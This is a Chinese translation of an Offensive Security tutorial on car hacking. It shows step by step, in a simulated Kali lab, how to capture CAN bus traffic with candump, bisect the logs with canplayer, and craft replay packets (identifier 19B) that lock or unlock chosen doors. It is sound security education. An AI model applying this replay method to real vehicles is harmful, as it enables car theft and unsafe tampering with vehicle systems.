车联网-教你解锁小汽车哦!

什么CAN总线?

CAN总线(控制器区域网络总线)是一个中央网络,车辆与它的部件进行通信。我们可以这样认为,车辆有许多功能是通过电信号操作的。汽车有门锁、速度表、油表、刹车控制、油门踏板控制,等,都通过这个进行网络通信。

the CAN Bus

      OBD-II          

       OBD-II(车载诊断系统2)连接器是车辆上的一个端口,可以方便地诊断车辆代码。很多时候,当我们把车辆带到机械师那里时,他们会把一个计算机设备插入这个端口,以获得车辆发出的错误代码。这使得可能已经打开检查引擎灯的问题或甚至没有导致指示灯的问题得到更快的解决。

这些端口通常非常容易访问。它们通常在仪表板下的踏板旁,转向柱后面,或甚至在仪表板下的乘客侧。下面是一张OBD-II端口的图片。

车联网-教你解锁小汽车哦!

在获得与该端口的物理连接方面,可以购买或甚至制造一个像CANtact这样的设备。使用物理设备将不属于本文的范围,但本文所涉及的技术无论是在物理车辆上还是在虚拟模拟器上都是一样的。在CAN总线上获得通信的接入点将是通过OBD-II端口。

the CAN Bus

CAN总线网络基础知识

      在本地CAN总线网络中,数据包的发送和接收非常像一个集线器。对于那些不熟悉集线器的人来说,数据包可以被所有设备看到。而集线器只是将数据包发送给该网络设备上的每个人。由于能够窃听该网络,所以被认为是一种不安全的网络设备。

       本文将主要关注的是门锁。如果我们按下门上的锁按钮,一个电信号就会通过CAN总线发送到网络上的每一个设备。在数据包中,会有一个命令:锁定或解锁。收到数据包的车门将接受该指令并根据数据包中的指令执行。

       车辆中的许多设备以这种方式运行,一个动作被触发,数据被发送到网络上,设备就会根据数据包做出响应得反应。按下油门踏板将导致数据包在网络中被发送,从而使汽车速度加快。这反过来可能会使速度表上升,以反映车辆正在行驶的适当速度。速度表的上升量将取决于网络上发送的指令,其变化取决于油门踏板的踩踏程度。

      网络上发送的数据包由两部分组成:标识符和数据。识别符代表是车辆中设备。数据字段表示要与上述设备完成的指令。让我们来看看下面的例子:

120#F289632003200320

     数据包的开头部分是标识符。在这种情况下,标识符是120。数据包中#号之后的剩余部分是数据段。

      尽管我们用这个标识符和数据段作为例子,但重要的是要知道,在年份、品牌和型号不同的车辆之间,标识符不会相同。120的标识符可能是2019年本田思域的油门踏板(加速器),但2022年丰田Sienna的窗户。有了这个,我们也许可以用标识符标签来识别一辆车的设备,但只有相同年份/品牌/型号的其他车辆才会有相同的设备用该标识符标签值来控制。

      关于CAN总线的最后一件事是,数据包不断地在这个网络上发送,所以只要车辆上有任何类型的电源(意味着发动机不需要被打开),网络就会处于活动状态。

the CAN Bus

如何攻击

      在这种情况下,黑客是对CAN总线网络的重放攻击。我们可以监听网络上发送的数据包,手动完成一个动作(在我们的案例中,锁定/解锁车门),并将数据包重放回网络,导致同样的动作发生--尽管锁定/解锁按钮没有被按下。

      在我们完成这个黑客练习之前,让我们回顾一下如何在内部虚拟模拟器中设置必要的工具来完成这个任务。

the CAN Bus

工具利用

根据下面的步骤在VirtualBox上新安装的Kali 2022.2上完成。为了使本文保持一个可控的长度,将不涉及VirtualBox和Kali的这些安装。kali-tweaks工具也被运行,以改变默认的双行输出为单行。在这个过程中,有三个工具我们将被安装。

  • ICSim (Instrument Cluster Simulator)

  • Socketcand

  • Kayak

首先,让我们在Kali机器上安装先决条件的软件包。

kali@kali:~$ sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf [sudo] password for kali: Do you want to continue? [Y/n] Y

创建一个 "Car_Hacking "目录来工作,并进入该目录。

kali@kali:~$ mkdir Documents/Car_Hacking kali@kali:~/Documents/Car_Hacking$ cd Documents/Car_Hacking

在新创建的目录下,让我们克隆ICSim的Git仓库。

kali@kali:~/Documents/Car_Hacking$ git clone https://github.com/zombieCraig/ICSim.git Cloning into 'ICSim'... remote: Enumerating objects: 135, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 135 (delta 1), reused 3 (delta 1), pack-reused 130 Receiving objects: 100% (135/135), 1.09 MiB | 2.68 MiB/s, done. Resolving deltas: 100% (68/68), done.

随着ICSim资源库被克隆到我们当前的工作目录中,让我们进入ICSim目录并编译代码,以制作必要的二进制文件。

kali@kali:~/Documents/Car_Hacking$ cd ICSimkali@kali:~/Documents/Car_Hacking/ICSim$ sudo make 
gcc -I/usr/include/SDL2 -c -o icsim.o icsim.c
gcc -I/usr/include/SDL2 -o icsim icsim.c lib.o -lSDL2 -lSDL2_image
gcc -I/usr/include/SDL2 -c -o controls.o controls.c gcc -I/usr/include/SDL2 -o controls controls.c -lSDL2 -lSDL2_image

让我们移回Car_Hacking目录,同时克隆socketcand仓库。

kali@kali:~/Documents/Car_Hacking/ICSim$ cd ..
kali@kali:~/Documents/Car_Hacking$ git clone https://github.com/linux-can/socketcand.git Cloning into 'socketcand'...
remote: Enumerating objects: 923, done.
remote: Total 923 (delta 0), reused 0 (delta 0), pack-reused 923 Receiving objects: 100% (923/923), 273.95 KiB | 931.00 KiB/s, done.
Resolving deltas: 100% (547/547), done.

随着socketcand仓库的克隆到位,让我们来配置、编译和安装这个包。有一个文件被遗漏了,所以我们需要先把这个文件复制到地方。

kali@kali:~/Documents/Car_Hacking$ cd socketcandkali@kali:~/Documents/Car_Hacking/socketcand$ wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.inhttps://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.inResolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ... Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK Length: 3773 (3.7K) [text/plain] Saving to: ‘config.h.in’
config.h.in         100%[================>]   3.68K  --.-KB/s    in 0s      2022-06-06 10:52:38 (80.8 MB/s) - ‘config.h.in’ saved [3773/3773]

有了头文件,让我们来配置软件包,编译它,并安装它。

kali@kali:~/Documents/Car_Hacking/socketcand$ autoconf
configure.ac:6: warning: The macro `AC_CONFIG_HEADER' is obsolete.
configure.ac:6: You should run autoupdate.
./lib/autoconf/status.m4:719: AC_CONFIG_HEADER is expanded from...
configure.ac:6: the top level
kali@kali:~/Documents/Car_Hacking/socketcand$ ./configure
checking for gcc... gcc
checking whether the C compiler works... yes
 kali@kali:~/Documents/Car_Hacking/socketcand$ make clean                 
rm -f socketcand socketcandcl *.o kali@kali:~/Documents/Car_Hacking/socketcand$ make      
gcc -Wall -Wno-parentheses -DPF_CAN=29 -DAF_CAN=PF_CAN -DHAVE_CONFIG_H   -I . -I ./include -o socketcand ./socketcand.c ./statistics.c ./beacon.c ./state_bcm.c ./state_raw.c ./state_isotp.c ./state_control.c -lpthread
gcc -Wall -Wno-parentheses -DPF_CAN=29 -DAF_CAN=PF_CAN -DHAVE_CONFIG_H   -I . -I ./include -o socketcandcl ./socketcandcl.c
kali@kali:~/Documents/Car_Hacking/socketcand$ sudo make install                                                     mkdir -p /usr/local/bin
cp ./socketcand /usr/local/bin/
cp ./socketcandcl /usr/local/bin/
mkdir -p /usr/local/share/man
cp ./socketcand.1 /usr/local/share/man/
mkdir -p /etc/
install -m 0644 ./etc/socketcand.conf /etc/
if [ yes = yes ]; then mkdir -p /etc/init.d; install --mode=755 ./init.d/socketcand /etc/init.d/socketcand; fi
if [ no = yes ]; then install --mode=755 ./rc.d/socketcand /etc/rc.d/socketcand; fi

安装好socketcand后,让我们回到 "Car_Hacking "目录,克隆Kayak Git repo。

kali@kali:~/Documents/Car_Hacking/socketcand$ cd ..
kali@kali:~/Documents/Car_Hacking/$ git clone https://github.com/dschanoeh/Kayak.git
Cloning into 'Kayak'...
remote: Enumerating objects: 6298, done.
remote: Total 6298 (delta 0), reused 0 (delta 0), pack-reused 6298
Receiving objects: 100% (6298/6298), 2.90 MiB | 4.58 MiB/s, done.
Resolving deltas: 100% (1927/1927), done.

现在我们可以进入Kayak目录,用Maven安装该软件包。

kali@kali:~/Documents/Car_Hacking/Kayak$ cd Kayak
kali@kali:~/Documents/Car_Hacking/Kayak$ mvn clean package
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[INFO] Scanning for projects...
...

一旦Kayak安装完毕,我们的工具设置就完成了,我们就可以开始模拟并完成黑客攻击。

the CAN Bus

执行攻击

对于这个过程,我们需要同时处理多个终端标签。我们将需要为每一个功能设置一个单独的标签。

  • Run the simulator

  • Run the controls

  • Capture and replay data packets

让我们在第一个标签上启动模拟器。这方面的第一步是设置vcan(虚拟CAN)接口。让我们进入ICSim目录并执行设置脚本。

kali@kali:~/Documents/Car_Hacking/Kayak$ cd ../ICSim

kali@kali:~/Documents/Car_Hacking/ICSim$ ./setup_vcan.sh 
[sudo] password for kali:

设置好接口后,我们可以在新创建的接口上启动虚拟仿真器。因为这是我们创建的第一个vcan接口,所以它将是vcan0。

kali@kali:~/Documents/Car_Hacking/ICSim$ ./icsim vcan0      
Using CAN interface vcan0

让我们在终端中打开第二个标签,开始控制。

kali@kali:~/Documents/Car_Hacking/ICSim$ ./controls vcan0 
Warning: No joysticks connected

我重新命名了终端会话的标签,以跟踪哪个标签属于哪个功能,这就是现在打开ICSim应用程序时的屏幕样子。

车联网-教你解锁小汽车哦!

      我们可以把一个控制器连接到电脑上,用这个控制器来操纵车辆的指令。在本文中,我们将使用键盘上的按键来操纵模拟器。

      随着CANBus控制面板窗口的激活,我们可以开始操纵我们的虚拟车辆。例如,如果我们按住LEFT方向键,左转向灯就会闪烁。如果我们按住向上的箭头,速度表将增加,象征着车辆在加速。在上面的图片中,所有的车门都是锁着的。如果我们按右SHIFT+A|B|X|Y,一次会有一个门被解锁。当按下任何一个门的按钮时,左SHIFT键将再次锁定这些门。如果我们先按左SHIFT再按右SHIFT,所有的门都会被解锁。

      如果一个门已经解锁,IC模拟器窗口不会显示变化,因为该门已经处于解锁状态。现在,让我们专注于解锁和锁定车辆的所有门。从所有的门都锁上开始,我们将按下左键,然后按右键来解锁所有的门。接下来,我们将按下右键,然后再按下左键,再次锁定车门。下面的图片描述了屏幕应该是什么样子。

车联网-教你解锁小汽车哦!
车联网-教你解锁小汽车哦!

现在,让我们启动另一个选项卡来处理数据包的捕获和重放。为了不使我们的目录结构变得混乱,我们创建一个Demo目

kali@kali:~/Documents/Car_Hacking$ mkdir Demo kali@kali:~/Documents/Car_Hacking$ cd Demo

   现在我们在Demo中,让我们在vcan接口上运行candump工具,用-l选项来记录。

   不做任何事情,我们让它运行5秒钟,然后按CTRL-C停止监听器。

kali@kali:~/Documents/Car_Hacking/Demo$ candump vcan0 -l  
Disabled standard output while logging.
Enabling Logfile 'candump-2022-06-06_141619.log'
^C 
kali@kali:~/Documents/Car_Hacking/Demo$ lscandump-2022-06-06_141619.log

我们只关注启动和停止监听器,CAN总线网络流量多少?让我们运行字数统计命令(wc)进行行数统计,观察在我们的监听器启动的5秒钟内有多少数据包被发送。

kali@kali:~/Documents/Car_Hacking/Demo$ wc -l candump-2022-06-06_141619.log13757 candump-2022-06-06_141619.log

       在监听器的5秒钟内,网络上发送了13,757个数据包。我们甚至还没有用控制器发送任何命令呢!

       在我们进一步进行之前,让我们制定我们的游戏计划。对于这个攻击,我们想确定哪个标识符负责操纵门。尽可能快地,我们将执行这些步骤。

  1.    在vcan0接口上启动带有记录功能的candump

  2.     使CANbus控制面板窗口处于激活状态

  3.     解锁所有的门

  4.     锁定所有的门

  5.     在candump终端窗口中点击

  6.     按CTRL-C停止网络采集

我们的目标是尽可能快地完成上述步骤,以保持日志文件尽可能小。在开始之前,我们也会删除之前的日志,以避免文件的混乱。

kali@kali:~/Documents/Car_Hacking/Demo$ rm candump-2022-06-06_141619.log
kali@kali:~/Documents/Car_Hacking/Demo$ candump vcan0 -l                   Disabled standard output while logging.
Enabling Logfile 'candump-2022-06-06_142359.log' 
^C

上面列出的步骤已经完成,终端输出如上所示。让我们执行wc命令来显示我们新创建的日志文件的行数。

kali@kali:~/Documents/Car_Hacking/Demo$ wc -l candump-2022-06-06_142359.log 9293 candump-2022-06-06_142359.log

      我们现在有一个新的日志文件,其中有9293个数据包在网络上发送。

      现在让我们使用canplayer工具将这个日志文件重放回网络中,并监视IC模拟器窗口。我们看到门被解锁,然后又被锁定。我们可以用-I选项指定我们的日志文件。

kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I candump-2022-06-06_142359.log

    在做这个操作时,重放我们的日志文件确实导致了虚拟车辆的车门解锁和再次上锁。

      现在我们验证了日志重放进行了我们想按需复制的动作,我们需要研究一下找出哪些数据包负责车门操作的算法。以下图片取自《The Car Hacker’s Handbook》的第77页。

车联网-教你解锁小汽车哦!

       通过验证的日志文件执行我们所需的动作,我们可以对该动作发生在文件的什么地方做出最佳猜测。有了这个猜测,我们就可以决定播放该文件的前半部分或后半部分。我们将把原始文件切成两半,用canplayer工具重放。当我们重放新文件时,我们将监测IC模拟器窗口中是否出现所需的动作。如果被重放的文件在模拟器中引起了效果,我们将再次将该文件切成两半,并重放其中的一半。如果它没有引起模拟器中的效果,我们就可以把文件的另一半拿出来,重新播放,并验证该动作是在文件的那一半。

       通过这种迭代,我们将能够分离出负责开锁的CAN数据包。在这个将日志文件减半的过程中,我们也会到达一个点,即我们需要手动使用CAN总线控制面板窗口中的控件来锁定车门,然后再重新播放文件。记住,如果车门已经处于解锁状态,IC模拟器将不会显示变化。

       我们可以使用带有-n选项的head或tail,并取大约一半的文件来重放。在不解释每一次迭代的情况下,下面是命令输出,以达到识别门解锁CAN包的目的。

kali@kali:~/Documents/Car_Hacking/Demo$ head -n 4600 candump-2022-06-06_142359.log > split1
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split1
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l split1                       4600 split1
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 2300 split1 > split2
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split2
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 1100 split2 > split3
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split3 kali@kali:~/Documents/Car_Hacking/Demo$ head -n 500 split3 > split4
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split4        kali@kali:~/Documents/Car_Hacking/Demo$ head -n 200 split4 > split5
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split5        kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 200 split4 > split5 kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split5        kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 100 split5 > split6 kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split6
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 100 split5 > split6
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split6        kali@kali:~/Documents/Car_Hacking/Demo$ head -n 50 split6 > split7 kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split7       kali@kali:~/Documents/Car_Hacking/Demo$ head -n 25 split7 > split8
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split8       kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 25 split7 > split8 kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split8       kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 10 split8 > split9 kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split9       kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock     kali@kali:~/Documents/Car_Hacking/Demo$ head -n 10 split8 > split9 kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split9       kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 5 split9 > split10 kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split10      kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 2 split10 > split11
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split11       kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 2 split10 > split11
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split11       kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock                                                                              kali@kali:~/Documents/Car_Hacking/Demo$ cat split10
(1654550641.303029) vcan0 17C#0000000010000030
(1654550641.303046) vcan0 18E#00007A
(1654550641.304018) vcan0 19B#000000000000
(1654550641.305246) vcan0 294#040B0002CF5A002C
(1654550641.305260) vcan0 21E#03E8374522062F

       网络流量重放的最后一部分取了5行中的最后2行,然后取了5行中的前2行。在没有任何一个分割文件工作的情况下,我们可以推断出这个文件的中间部分是控制解锁门的数据包。让我们把这一行复制到它自己的文件中,称为 "doorUnlock",并重放该文件以观察其行为。

kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550641.304018) vcan0 19B#000000000000' > doorsUnlock
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I doorsUnlock
车联网-教你解锁小汽车哦!

IC模拟器中的门通过这个单一的CAN数据包解锁了。让我们检查一下这个数据包的内容。

车联网-教你解锁小汽车哦!

      数据包的第一个高亮部分是标识符。这意味着这些门被识别为十六进制代码为19B的设备标记。数据包的第二个高亮部分是数据。在这种情况下,数据都被设置为0,所以这对我们发送门的指令的需求没有什么帮助。

       这就是我们在进程开始时也锁定门的原因。在知道了门的标识符后,我们可以在原始捕获的数据包中搜索该标识符,看看数据包的数据部分存在哪些变化。让我们在19B的原始文件上执行grep命令。

kali@kali:~/Documents/Car_Hacking/Demo$ grep 19B candump-2022-06-06_142359.log  (1654550641.304018) vcan0 19B#000000000000  (1654550642.133853) vcan0 19B#00000F000000  (1654550642.366332) vcan0 244#000000019B

       我们可以忽略上面输出中显示的最后一行,因为该标识符与我们要搜索的内容不匹配。门的数据包在第三个字节的第二个小数点中被改变。让我们把数据部分中带有F的那一行,做成一个新的文件,叫做 "doorLock"。然后我们再重放一遍,监控IC模拟器窗口,以确定这个数据包是否会锁定所有的门。

kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#00000F000000' > doorsLock
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I doorsLock
车联网-教你解锁小汽车哦!

现在用一个数据包就把门锁住了。

the CAN Bus

分析数据

      我们成功地通过CAN总线捕获并重放了所有车门的开锁和上锁。我们可以进一步分析这些数据,看看我们是否可以用更多的粒度来控制车门,而不是全部或没有。让我们再次回顾一下这两个CAN数据包。

车联网-教你解锁小汽车哦!

      正如我们之前指出的,数据是在第三个字节的第二个小数点上改变的。如果我们把这个小数点分解成二进制格式,我们可以这样表示。

车联网-教你解锁小汽车哦!

      解除所有门锁的数据包表示该位为0,锁定所有门的数据包表示该位为十六进制的F。我们可以猜测所有16种变化,尝试手动识别哪个位控制哪个门。为了做到这一点,我们可以考虑再创建4个文件,其组织结构如下。

车联网-教你解锁小汽车哦!

      现在,我们可以创建并重放4个独立的文件,以确定哪个位控制哪个门。新的数据包应该是如下:

车联网-教你解锁小汽车哦!
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000008000000' > doors8   
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000004000000' > doors4
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000002000000' > doors2
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000001000000' > doors1

重放这些doors#文件中的每一个,结果如下。

车联网-教你解锁小汽车哦!
车联网-教你解锁小汽车哦!

      如果我们考虑每个门的动作,1是锁门的动作,0是解锁的动作。因此,当我们识别我们的门时,被识别的门被赋予了锁门的指令,而其他的门则被赋予了解锁的指令。现在,我们可以使数据的任何变化来锁定或解锁车辆的门。

       让我们看一下最后一个例子。如果我们想同时锁定车辆的后门和解锁前门,我们如何修改CAN数据包中的二进制?

车联网-教你解锁小汽车哦!

如果一个解锁位是0,那么我们可以把前门的值填为0,值为1会导致锁门,所以结果会是。

车联网-教你解锁小汽车哦!

这样做的二进制结果是:1(8)+1(4)+0(2)+0(1)=8+4+0+0=12。12在十六进制格式中是C,这使我们的CAN数据包变成了。

车联网-教你解锁小汽车哦!

让我们用这个数据包创建另一个文件,并将其称为 "unlockFront"。我们可以通过在网络中重放这个数据包并监测其结果来测试它。

车联网-教你解锁小汽车哦!

我们成功地控制了每一扇门,并可以使我们想要的任何解锁/上锁门的组合。

the CAN Bus

我们还需要学习什么

      正如本文前面所提到的,克雷格-史密斯的书中涵盖了学习更多关于汽车黑客和深入研究这一主题的一个伟大资源。The Car Hacker's Handbook。如果你想获得更多真实的汽车黑客经验,我也建议你去汽车黑客村社区看看。其他一些有价值的资源是CSS电子和Illmatics。

the CAN Bus

总结

      在这篇文章中,我们能够定义什么是CAN总线,它如何在车辆通信中发挥作用,设置进行模拟所需的工具,以及控制虚拟车辆中的每个门来发送解锁或锁定命令。

       汽车攻击有一定的风险,所以建议在模拟环境中或谨慎地使用这些知识。还有一些非故意的行为可能会导致发送杂散的识别器--例如展开安全气囊。如果你决定尝试入侵一辆真实的车辆,请务必考虑到任何可能性,这样做的风险由你自己承担。

      非常感谢你花时间来查看这篇文章。我希望你觉得它很有趣,并且可能在做未知的分析时,能用它来激发新的创造性方法。

译:https://www.offensive-security.com/offsec/introduction-to-car-hacking-the-can-bus/

END

一起学习

车联网-教你解锁小汽车哦!

NATIONAL DAY

2022.11.21

面对疫情

车联网-教你解锁小汽车哦!

不必恐慌

历史文章

1

小程序逆向加解密实录

2

Xposed常用方法🧐

3

某涉黄APP产业链分析

4

应用root检测通杀篇

5

手把手教你做屏蔽越狱检测的Tweak

6

常见Frida检测方法+一个小Demo

车联网-教你解锁小汽车哦!

车联网-教你解锁小汽车哦!

球分享

车联网-教你解锁小汽车哦!

球点赞

车联网-教你解锁小汽车哦!

球在看

原文始发于微信公众号(移动安全星球):车联网-教你解锁小汽车哦!

版权声明:admin 发表于 2022年11月21日 下午6:15。
转载请注明:车联网-教你解锁小汽车哦! | CTF导航

相关文章

暂无评论

暂无评论...